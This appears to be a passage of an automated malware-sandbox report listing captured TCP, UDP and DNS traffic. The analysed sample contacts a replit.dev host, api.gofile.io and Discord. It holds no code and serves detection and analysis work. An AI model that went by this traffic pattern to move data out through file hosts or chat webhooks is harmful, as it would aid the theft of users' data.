                                                                                                                  Apr 10, 2024 08:39:38.835999966 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.836091995 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.836107969 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.836508989 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:38.836524963 CEST4434974051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.850414038 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.850496054 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.850579977 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.850967884 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:38.851010084 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.035944939 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.036602974 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.036629915 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.037661076 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.037826061 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.038444996 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.038487911 CEST44349739162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.038541079 CEST49739443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.038971901 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.040426016 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.040458918 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.041490078 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.041553974 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.042217970 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.042262077 CEST44349741162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.042319059 CEST49741443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.378976107 CEST4434974051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.379633904 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.379658937 CEST4434974051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.381320953 CEST4434974051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.381393909 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.382546902 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.382591963 CEST4434974051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.382643938 CEST49740443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.402658939 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.402690887 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.402781010 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.403336048 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.403417110 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.403506994 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.403511047 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.403522968 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.404145956 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.404160976 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.434952974 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.434981108 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.435036898 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.435494900 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.435506105 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.611690044 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.612181902 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.612205982 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.613982916 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.614048004 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.614129066 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.614857912 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.614895105 CEST44349742162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.614948034 CEST49742443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.615777969 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.615808964 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.617273092 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.617343903 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.618011951 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.618058920 CEST44349743162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.618109941 CEST49743443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.950464964 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.950936079 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.950948000 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.951910019 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.951970100 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.952919960 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.952938080 CEST4434974451.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.952984095 CEST49744443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:39.972290039 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.972328901 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.972421885 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.973762035 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.973774910 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.974463940 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.974499941 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:39.974558115 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.975089073 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:39.975104094 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.005119085 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.005148888 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.005203962 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.005951881 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.005966902 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.179486990 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.179922104 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.179949999 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.181689978 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.181752920 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.182791948 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.182836056 CEST44349745162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.182879925 CEST49745443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.185595989 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.185961962 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.186021090 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.187740088 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.187822104 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.188690901 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.188744068 CEST44349746162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.188797951 CEST49746443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.543864965 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.544351101 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.544373035 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.545254946 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.545315981 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.546370983 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.546412945 CEST4434974751.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.546469927 CEST49747443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.966780901 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.966825008 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.966900110 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.970541954 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.970573902 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.971086025 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.971167088 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.971235037 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.971400023 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.971420050 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.971465111 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.971698999 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:40.971725941 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:40.979510069 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:40.979537010 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.197542906 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.198030949 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.198056936 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.198957920 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.199018002 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.199779987 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.199836016 CEST44349751162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.199883938 CEST49751443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.202693939 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.203111887 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.203176022 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.204662085 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.204750061 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.205468893 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.205538034 CEST44349749162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.205598116 CEST49749443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:41.528811932 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.529376030 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:41.529437065 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.531115055 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.531202078 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:41.531913042 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:41.531975985 CEST4434975051.38.43.18192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:41.532037020 CEST49750443192.168.2.651.38.43.18
                                                                                                                  Apr 10, 2024 08:39:43.147794962 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.147855043 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.147914886 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.148272038 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.148296118 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.345288992 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.345659971 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.345691919 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.347125053 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.347187042 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.900146961 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.900191069 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.900259018 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.900473118 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:43.900487900 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:44.099008083 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:44.099349022 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:44.099374056 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:44.100822926 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:44.100878000 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.242743015 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.242784023 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.242922068 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.243130922 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.243154049 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.302381992 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.302470922 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.302556038 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.303323984 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.303415060 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.304265022 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.304286957 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.304382086 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.304418087 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.304475069 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.304689884 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.304692984 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.304712057 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.304735899 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.304797888 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.305080891 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.305176973 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.305911064 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.305948973 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.306427002 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.306448936 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.348272085 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.351057053 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.351057053 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.351089954 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.351093054 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.398015976 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.398663044 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.434510946 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.437642097 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.437663078 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.439129114 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.439201117 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.439596891 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.439666986 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.439826965 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.439835072 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.491771936 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.494035006 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.494208097 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.494263887 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.494491100 CEST49753443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.494508028 CEST44349753162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.494988918 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.495157003 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.495206118 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.495385885 CEST49752443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.495428085 CEST44349752162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.543339968 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.543720007 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.543742895 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.545008898 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.545070887 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.545808077 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.545840025 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.545932055 CEST44349755162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.545979977 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.545999050 CEST49755443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.550039053 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.550359011 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.550671101 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.550720930 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.550810099 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.550843954 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.551624060 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.551690102 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.551752090 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.551811934 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.552253008 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.552298069 CEST44349756162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.552356005 CEST49756443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.553230047 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.553276062 CEST44349757162.159.128.233192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.553328991 CEST49757443192.168.2.6162.159.128.233
                                                                                                                  Apr 10, 2024 08:39:45.660955906 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.661039114 CEST44349754162.159.61.3192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:45.664184093 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.664184093 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.976042986 CEST49754443192.168.2.6162.159.61.3
                                                                                                                  Apr 10, 2024 08:39:45.976099968 CEST44349754162.159.61.3192.168.2.6

                                                                                                                  UDP Packets

                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                  Apr 10, 2024 08:39:21.223761082 CEST5028053192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:21.224035025 CEST6207553192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:21.316495895 CEST53620751.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:21.317138910 CEST53502801.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.024195910 CEST6080753192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:37.119436026 CEST53608071.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:37.940285921 CEST5258853192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:38.196254015 CEST53525881.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.740236044 CEST5777753192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:38.757386923 CEST5631653192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST53577771.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:38.849667072 CEST53563161.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.052907944 CEST6390153192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:43.053165913 CEST4996153192.168.2.61.1.1.1
                                                                                                                  Apr 10, 2024 08:39:43.145025969 CEST53639011.1.1.1192.168.2.6
                                                                                                                  Apr 10, 2024 08:39:43.145807981 CEST53499611.1.1.1192.168.2.6

                                                                                                                  DNS Queries

                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                  Apr 10, 2024 08:39:21.223761082 CEST192.168.2.61.1.1.10x2d40Standard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:21.224035025 CEST192.168.2.61.1.1.10x3579Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:37.024195910 CEST192.168.2.61.1.1.10xba78Standard query (0)e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.devA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:37.940285921 CEST192.168.2.61.1.1.10x265fStandard query (0)api.gofile.ioA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.740236044 CEST192.168.2.61.1.1.10x82b7Standard query (0)ptb.discord.comA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.757386923 CEST192.168.2.61.1.1.10xd9e5Standard query (0)discord.comA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:43.052907944 CEST192.168.2.61.1.1.10xa840Standard query (0)chrome.cloudflare-dns.comA (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:43.053165913 CEST192.168.2.61.1.1.10xa4f8Standard query (0)chrome.cloudflare-dns.com65IN (0x0001)false

                                                                                                                  DNS Answers

                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                  Apr 10, 2024 08:39:21.316495895 CEST1.1.1.1192.168.2.60x3579No error (0)chrome.cloudflare-dns.com65IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:21.317138910 CEST1.1.1.1192.168.2.60x2d40No error (0)chrome.cloudflare-dns.com172.64.41.3A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:21.317138910 CEST1.1.1.1192.168.2.60x2d40No error (0)chrome.cloudflare-dns.com162.159.61.3A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:37.119436026 CEST1.1.1.1192.168.2.60xba78No error (0)e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev35.247.106.28A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.196254015 CEST1.1.1.1192.168.2.60x265fNo error (0)api.gofile.io51.38.43.18A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.196254015 CEST1.1.1.1192.168.2.60x265fNo error (0)api.gofile.io51.178.66.33A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.196254015 CEST1.1.1.1192.168.2.60x265fNo error (0)api.gofile.io151.80.29.83A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST1.1.1.1192.168.2.60x82b7No error (0)ptb.discord.com162.159.128.233A (IP address)IN (0x0001)false
                                                                                                                  Apr 10, 2024 08:39:38.834208965 CEST1.1.1.1192.168.2.60x82b7No error (0)ptb.discord.com162.159.137.232A (IP address)IN (0x0001)false
